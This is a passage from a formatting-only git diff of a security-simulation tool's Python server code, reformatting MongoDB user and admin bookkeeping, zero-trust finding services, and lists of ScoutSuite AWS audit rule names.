mongo.db.groupsandusers.update({'SID': entity['SID'], - 'machine_id': entity['machine_id']}, entity, upsert=True) + mongo.db.groupsandusers.update( + {"SID": entity["SID"], "machine_id": entity["machine_id"]}, entity, upsert=True + ) else: # Handlings for domain entities. - if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): + if not mongo.db.groupsandusers.find_one({"SID": entity["SID"]}): mongo.db.groupsandusers.insert_one(entity) else: - # if entity is domain entity, add the monkey id of current machine to secrets_location. + # if entity is domain entity, add the monkey id of current machine to + # secrets_location. # (found on this machine) - if entity.get('NTLM_secret'): - mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE}, - {'$addToSet': {'secret_location': self.monkey_id}}) + if entity.get("NTLM_secret"): + mongo.db.groupsandusers.update_one( + {"SID": entity["SID"], "type": USERTYPE}, + {"$addToSet": {"secret_location": self.monkey_id}}, + ) def update_admins_retrospective(self): for profile in self.info_for_mongo: - groups_from_mongo = mongo.db.groupsandusers.find({ - 'SID': {'$in': self.info_for_mongo[profile]['member_of']}}, - {'admin_on_machines': 1}) + groups_from_mongo = mongo.db.groupsandusers.find( + {"SID": {"$in": self.info_for_mongo[profile]["member_of"]}}, + {"admin_on_machines": 1}, + ) for group in groups_from_mongo: - if group['admin_on_machines']: - mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']}, - {'$addToSet': {'admin_on_machines': { - '$each': group['admin_on_machines']}}}) + if group["admin_on_machines"]: + mongo.db.groupsandusers.update_one( + {"SID": self.info_for_mongo[profile]["SID"]}, + {"$addToSet": {"admin_on_machines": {"$each": group["admin_on_machines"]}}}, + ) def add_admin(self, group, machine_id): - for sid in group['entities_list']: - mongo.db.groupsandusers.update_one({'SID': sid}, - {'$addToSet': {'admin_on_machines': machine_id}}) - entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, - {'type': USERTYPE, 'entities_list': 1}) - if entity_details.get('type') == GROUPTYPE: + for sid in group["entities_list"]: + mongo.db.groupsandusers.update_one( + {"SID": sid}, {"$addToSet": {"admin_on_machines": machine_id}} + ) + entity_details = mongo.db.groupsandusers.find_one( + {"SID": sid}, {"type": USERTYPE, "entities_list": 1} + ) + if entity_details.get("type") == GROUPTYPE: self.add_admin(entity_details, machine_id) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 167934d29..8b4c7d97e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -5,33 +5,40 @@ from bson import ObjectId from common.utils.exceptions import FindingWithoutDetailsError from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails - # How many events of a single finding to return to UI. # 100 will return 50 latest and 50 oldest events from a finding MAX_EVENT_FETCH_CNT = 100 class MonkeyZTDetailsService: - @staticmethod def fetch_details_for_display(finding_id: ObjectId) -> dict: - pipeline = [{'$match': {'_id': finding_id}}, - {'$addFields': {'oldest_events': {'$slice': ['$events', int(MAX_EVENT_FETCH_CNT / 2)]}, - 'latest_events': {'$slice': ['$events', int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, - 'event_count': {'$size': '$events'}}}, - {'$unset': ['events']}] + pipeline = [ + {"$match": {"_id": finding_id}}, + { + "$addFields": { + "oldest_events": {"$slice": ["$events", int(MAX_EVENT_FETCH_CNT / 2)]}, + "latest_events": {"$slice": ["$events", int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, + "event_count": {"$size": "$events"}, + } + }, + {"$unset": ["events"]}, + ] detail_list = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) if detail_list: details = detail_list[0] - details['latest_events'] = MonkeyZTDetailsService._remove_redundant_events(details['event_count'], - details['latest_events']) + details["latest_events"] = MonkeyZTDetailsService._remove_redundant_events( + details["event_count"], details["latest_events"] + ) return details else: raise FindingWithoutDetailsError(f"Finding {finding_id} had no details.") @staticmethod - def _remove_redundant_events(fetched_event_count: int, latest_events: List[object]) -> List[object]: - overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT/2) + def _remove_redundant_events( + fetched_event_count: int, latest_events: List[object] + ) -> List[object]: + overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT / 2) # None of 'latest_events' are in 'oldest_events' if overlap_count >= MAX_EVENT_FETCH_CNT: return latest_events @@ -41,4 +48,4 @@ class MonkeyZTDetailsService: # Some of 'latest_events' are already in 'oldest_events'. # Return only those that are not else: - return latest_events[-1 * overlap_count:] + return latest_events[-1 * overlap_count :] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index d8e439c71..6c8063eca 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -9,18 +9,21 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind class MonkeyZTFindingService: - @staticmethod def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ - Create a new finding or add the events to an existing one if it's the same (same meaning same status and same + Create a new finding or add the events to an existing one if it's the same (same meaning + same status and same test). - :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not + :raises: Assertion error if this is used when there's more then one finding which fits + the query - this is not when this function should be used. """ existing_findings = list(MonkeyFinding.objects(test=test, status=status)) - assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) + assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( + test, status + ) if len(existing_findings) == 0: MonkeyZTFindingService.create_new_finding(test, status, events) @@ -42,13 +45,18 @@ class MonkeyZTFindingService: @staticmethod def get_events_by_finding(finding_id: str) -> List[object]: finding = MonkeyFinding.objects.get(id=finding_id) - pipeline = [{'$match': {'_id': ObjectId(finding.details.id)}}, - {'$unwind': '$events'}, - {'$project': {'events': '$events'}}, - {'$replaceRoot': {'newRoot': '$events'}}] + pipeline = [ + {"$match": {"_id": ObjectId(finding.details.id)}}, + {"$unwind": "$events"}, + {"$project": {"events": "$events"}}, + {"$replaceRoot": {"newRoot": "$events"}}, + ] return list(MonkeyFindingDetails.objects.aggregate(*pipeline)) @staticmethod def add_malicious_activity_to_timeline(events): - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=zero_trust_consts.STATUS_VERIFY, events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, + events=events, + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py index 732852174..08d6600a9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py @@ -1,4 +1,4 @@ -RULE_LEVEL_DANGER = 'danger' -RULE_LEVEL_WARNING = 'warning' +RULE_LEVEL_DANGER = "danger" +RULE_LEVEL_WARNING = "warning" RULE_LEVELS = (RULE_LEVEL_DANGER, RULE_LEVEL_WARNING) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py index f8c87083e..c8dbffb46 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py @@ -1,7 +1,8 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class CloudformationRules(RuleNameEnum): - # Service Security - CLOUDFORMATION_STACK_WITH_ROLE = 'cloudformation-stack-with-role' + CLOUDFORMATION_STACK_WITH_ROLE = "cloudformation-stack-with-role" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py index 886999341..04d1599dd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py @@ -1,11 +1,13 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class CloudTrailRules(RuleNameEnum): # Logging - CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = 'cloudtrail-duplicated-global-services-logging' - CLOUDTRAIL_NO_DATA_LOGGING = 'cloudtrail-no-data-logging' - CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = 'cloudtrail-no-global-services-logging' - CLOUDTRAIL_NO_LOG_FILE_VALIDATION = 'cloudtrail-no-log-file-validation' - CLOUDTRAIL_NO_LOGGING = 'cloudtrail-no-logging' - CLOUDTRAIL_NOT_CONFIGURED = 'cloudtrail-not-configured' + CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = "cloudtrail-duplicated-global-services-logging" + CLOUDTRAIL_NO_DATA_LOGGING = "cloudtrail-no-data-logging" + CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = "cloudtrail-no-global-services-logging" + CLOUDTRAIL_NO_LOG_FILE_VALIDATION = "cloudtrail-no-log-file-validation" + CLOUDTRAIL_NO_LOGGING = "cloudtrail-no-logging" + CLOUDTRAIL_NOT_CONFIGURED = "cloudtrail-not-configured" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py index d22baafc7..954e6fc11 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py @@ -1,6 +1,8 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class CloudWatchRules(RuleNameEnum): # Logging - CLOUDWATCH_ALARM_WITHOUT_ACTIONS = 'cloudwatch-alarm-without-actions' + CLOUDWATCH_ALARM_WITHOUT_ACTIONS = "cloudwatch-alarm-without-actions" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py index 5d86b0b3e..6487bda99 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py @@ -1,6 +1,8 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class ConfigRules(RuleNameEnum): # Logging - CONFIG_RECORDER_NOT_CONFIGURED = 'config-recorder-not-configured' + CONFIG_RECORDER_NOT_CONFIGURED = "config-recorder-not-configured" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py index dddf18b99..648fbed61 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py @@ -1,35 +1,37 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class EC2Rules(RuleNameEnum): # Permissive firewall rules - SECURITY_GROUP_ALL_PORTS_TO_ALL = 'ec2-security-group-opens-all-ports-to-all' - SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = 'ec2-security-group-opens-TCP-port-to-all' - SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = 'ec2-security-group-opens-UDP-port-to-all' - SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = 'ec2-security-group-opens-RDP-port-to-all' - SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = 'ec2-security-group-opens-SSH-port-to-all' - SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = 'ec2-security-group-opens-MySQL-port-to-all' - SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = 'ec2-security-group-opens-MsSQL-port-to-all' - SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = 'ec2-security-group-opens-MongoDB-port-to-all' - SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = 'ec2-security-group-opens-Oracle DB-port-to-all' - SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = 'ec2-security-group-opens-PostgreSQL-port-to-all' - SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = 'ec2-security-group-opens-NFS-port-to-all' - SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = 'ec2-security-group-opens-SMTP-port-to-all' - SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = 'ec2-security-group-opens-DNS-port-to-all' - SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = 'ec2-security-group-opens-all-ports-to-self' - SECURITY_GROUP_OPENS_ALL_PORTS = 'ec2-security-group-opens-all-ports' - SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = 'ec2-security-group-opens-plaintext-port-FTP' - SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = 'ec2-security-group-opens-plaintext-port-Telnet' - SECURITY_GROUP_OPENS_PORT_RANGE = 'ec2-security-group-opens-port-range' - EC2_SECURITY_GROUP_WHITELISTS_AWS = 'ec2-security-group-whitelists-aws' + SECURITY_GROUP_ALL_PORTS_TO_ALL = "ec2-security-group-opens-all-ports-to-all" + SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = "ec2-security-group-opens-TCP-port-to-all" + SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = "ec2-security-group-opens-UDP-port-to-all" + SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = "ec2-security-group-opens-RDP-port-to-all" + SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = "ec2-security-group-opens-SSH-port-to-all" + SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = "ec2-security-group-opens-MySQL-port-to-all" + SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = "ec2-security-group-opens-MsSQL-port-to-all" + SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = "ec2-security-group-opens-MongoDB-port-to-all" + SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = "ec2-security-group-opens-Oracle DB-port-to-all" + SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = "ec2-security-group-opens-PostgreSQL-port-to-all" + SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = "ec2-security-group-opens-NFS-port-to-all" + SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = "ec2-security-group-opens-SMTP-port-to-all" + SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = "ec2-security-group-opens-DNS-port-to-all" + SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = "ec2-security-group-opens-all-ports-to-self" + SECURITY_GROUP_OPENS_ALL_PORTS = "ec2-security-group-opens-all-ports" + SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = "ec2-security-group-opens-plaintext-port-FTP" + SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = "ec2-security-group-opens-plaintext-port-Telnet" + SECURITY_GROUP_OPENS_PORT_RANGE = "ec2-security-group-opens-port-range" + EC2_SECURITY_GROUP_WHITELISTS_AWS = "ec2-security-group-whitelists-aws" # Encryption - EBS_SNAPSHOT_NOT_ENCRYPTED = 'ec2-ebs-snapshot-not-encrypted' - EBS_VOLUME_NOT_ENCRYPTED = 'ec2-ebs-volume-not-encrypted' - EC2_INSTANCE_WITH_USER_DATA_SECRETS = 'ec2-instance-with-user-data-secrets' + EBS_SNAPSHOT_NOT_ENCRYPTED = "ec2-ebs-snapshot-not-encrypted" + EBS_VOLUME_NOT_ENCRYPTED = "ec2-ebs-volume-not-encrypted" + EC2_INSTANCE_WITH_USER_DATA_SECRETS = "ec2-instance-with-user-data-secrets" # Permissive policies - AMI_PUBLIC = 'ec2-ami-public' - EC2_DEFAULT_SECURITY_GROUP_IN_USE = 'ec2-default-security-group-in-use' - EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = 'ec2-default-security-group-with-rules' - EC2_EBS_SNAPSHOT_PUBLIC = 'ec2-ebs-snapshot-public' + AMI_PUBLIC = "ec2-ami-public" + EC2_DEFAULT_SECURITY_GROUP_IN_USE = "ec2-default-security-group-in-use" + EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = "ec2-default-security-group-with-rules" + EC2_EBS_SNAPSHOT_PUBLIC = "ec2-ebs-snapshot-public" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py index 0d1d4e5d9..c4fad62ec 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py @@ -1,10 +1,12 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class ELBRules(RuleNameEnum): # Logging - ELB_NO_ACCESS_LOGS = 'elb-no-access-logs' + ELB_NO_ACCESS_LOGS = "elb-no-access-logs" # Encryption - ELB_LISTENER_ALLOWING_CLEARTEXT = 'elb-listener-allowing-cleartext' - ELB_OLDER_SSL_POLICY = 'elb-older-ssl-policy' + ELB_LISTENER_ALLOWING_CLEARTEXT = "elb-listener-allowing-cleartext" + ELB_OLDER_SSL_POLICY = "elb-older-ssl-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py index f7a264cf3..90590a651 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py @@ -1,16 +1,18 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class ELBv2Rules(RuleNameEnum): # Encryption - ELBV2_LISTENER_ALLOWING_CLEARTEXT = 'elbv2-listener-allowing-cleartext' - ELBV2_OLDER_SSL_POLICY = 'elbv2-older-ssl-policy' + ELBV2_LISTENER_ALLOWING_CLEARTEXT = "elbv2-listener-allowing-cleartext" + ELBV2_OLDER_SSL_POLICY = "elbv2-older-ssl-policy" # Logging - ELBV2_NO_ACCESS_LOGS = 'elbv2-no-access-logs' + ELBV2_NO_ACCESS_LOGS = "elbv2-no-access-logs" # Data loss prevention - ELBV2_NO_DELETION_PROTECTION = 'elbv2-no-deletion-protection' + ELBV2_NO_DELETION_PROTECTION = "elbv2-no-deletion-protection" # Service security - ELBV2_HTTP_REQUEST_SMUGGLING = 'elbv2-http-request-smuggling' + ELBV2_HTTP_REQUEST_SMUGGLING = "elbv2-http-request-smuggling" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py index fef58e066..8589446bb 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py @@ -1,39 +1,41 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class IAMRules(RuleNameEnum): # Authentication/authorization - IAM_USER_NO_ACTIVE_KEY_ROTATION = 'iam-user-no-Active-key-rotation' - IAM_PASSWORD_POLICY_MINIMUM_LENGTH = 'iam-password-policy-minimum-length' - IAM_PASSWORD_POLICY_NO_EXPIRATION = 'iam-password-policy-no-expiration' - IAM_PASSWORD_POLICY_REUSE_ENABLED = 'iam-password-policy-reuse-enabled' - IAM_USER_WITH_PASSWORD_AND_KEY = 'iam-user-with-password-and-key' - IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = 'iam-assume-role-lacks-external-id-and-mfa' - IAM_USER_WITHOUT_MFA = 'iam-user-without-mfa' - IAM_ROOT_ACCOUNT_NO_MFA = 'iam-root-account-no-mfa' - IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = 'iam-root-account-with-active-keys' - IAM_USER_NO_INACTIVE_KEY_ROTATION = 'iam-user-no-Inactive-key-rotation' - IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = 'iam-user-with-multiple-access-keys' + IAM_USER_NO_ACTIVE_KEY_ROTATION = "iam-user-no-Active-key-rotation" + IAM_PASSWORD_POLICY_MINIMUM_LENGTH = "iam-password-policy-minimum-length" + IAM_PASSWORD_POLICY_NO_EXPIRATION = "iam-password-policy-no-expiration" + IAM_PASSWORD_POLICY_REUSE_ENABLED = "iam-password-policy-reuse-enabled" + IAM_USER_WITH_PASSWORD_AND_KEY = "iam-user-with-password-and-key" + IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = "iam-assume-role-lacks-external-id-and-mfa" + IAM_USER_WITHOUT_MFA = "iam-user-without-mfa" + IAM_ROOT_ACCOUNT_NO_MFA = "iam-root-account-no-mfa" + IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = "iam-root-account-with-active-keys" + IAM_USER_NO_INACTIVE_KEY_ROTATION = "iam-user-no-Inactive-key-rotation" + IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = "iam-user-with-multiple-access-keys" # Least privilege - IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = 'iam-assume-role-policy-allows-all' - IAM_EC2_ROLE_WITHOUT_INSTANCES = 'iam-ec2-role-without-instances' - IAM_GROUP_WITH_INLINE_POLICIES = 'iam-group-with-inline-policies' - IAM_GROUP_WITH_NO_USERS = 'iam-group-with-no-users' - IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-group-policy-allows-iam-PassRole' - IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-group-policy-allows-NotActions' - IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-group-policy-allows-sts-AssumeRole' - IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-role-policy-allows-iam-PassRole' - IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-role-policy-allows-NotActions' - IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-role-policy-allows-sts-AssumeRole' - IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-user-policy-allows-iam-PassRole' - IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-user-policy-allows-NotActions' - IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-user-policy-allows-sts-AssumeRole' - IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = 'iam-managed-policy-allows-iam-PassRole' - IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = 'iam-managed-policy-allows-NotActions' - IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-managed-policy-allows-sts-AssumeRole' - IAM_MANAGED_POLICY_NO_ATTACHMENTS = 'iam-managed-policy-no-attachments' - IAM_ROLE_WITH_INLINE_POLICIES = 'iam-role-with-inline-policies' - IAM_ROOT_ACCOUNT_USED_RECENTLY = 'iam-root-account-used-recently' - IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = 'iam-root-account-with-active-certs' - IAM_USER_WITH_INLINE_POLICIES = 'iam-user-with-inline-policies' + IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = "iam-assume-role-policy-allows-all" + IAM_EC2_ROLE_WITHOUT_INSTANCES = "iam-ec2-role-without-instances" + IAM_GROUP_WITH_INLINE_POLICIES = "iam-group-with-inline-policies" + IAM_GROUP_WITH_NO_USERS = "iam-group-with-no-users" + IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-group-policy-allows-iam-PassRole" + IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = "iam-inline-group-policy-allows-NotActions" + IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-group-policy-allows-sts-AssumeRole" + IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-role-policy-allows-iam-PassRole" + IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = "iam-inline-role-policy-allows-NotActions" + IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-role-policy-allows-sts-AssumeRole" + IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-user-policy-allows-iam-PassRole" + IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = "iam-inline-user-policy-allows-NotActions" + IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-user-policy-allows-sts-AssumeRole" + IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = "iam-managed-policy-allows-iam-PassRole" + IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = "iam-managed-policy-allows-NotActions" + IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-managed-policy-allows-sts-AssumeRole" + IAM_MANAGED_POLICY_NO_ATTACHMENTS = "iam-managed-policy-no-attachments" + IAM_ROLE_WITH_INLINE_POLICIES = "iam-role-with-inline-policies" + IAM_ROOT_ACCOUNT_USED_RECENTLY = "iam-root-account-used-recently" + IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = "iam-root-account-with-active-certs" + IAM_USER_WITH_INLINE_POLICIES = "iam-user-with-inline-policies" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py index b303c8573..db8e2602b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py @@ -1,19 +1,21 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class RDSRules(RuleNameEnum): # Encryption - RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = 'rds-instance-storage-not-encrypted' + RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = "rds-instance-storage-not-encrypted" # Data loss prevention - RDS_INSTANCE_BACKUP_DISABLED = 'rds-instance-backup-disabled' - RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = 'rds-instance-short-backup-retention-period' - RDS_INSTANCE_SINGLE_AZ = 'rds-instance-single-az' + RDS_INSTANCE_BACKUP_DISABLED = "rds-instance-backup-disabled" + RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = "rds-instance-short-backup-retention-period" + RDS_INSTANCE_SINGLE_AZ = "rds-instance-single-az" # Firewalls - RDS_SECURITY_GROUP_ALLOWS_ALL = 'rds-security-group-allows-all' - RDS_SNAPSHOT_PUBLIC = 'rds-snapshot-public' + RDS_SECURITY_GROUP_ALLOWS_ALL = "rds-security-group-allows-all" + RDS_SNAPSHOT_PUBLIC = "rds-snapshot-public" # Service security - RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = 'rds-instance-ca-certificate-deprecated' - RDS_INSTANCE_NO_MINOR_UPGRADE = 'rds-instance-no-minor-upgrade' + RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = "rds-instance-ca-certificate-deprecated" + RDS_INSTANCE_NO_MINOR_UPGRADE = "rds-instance-no-minor-upgrade" diff --git 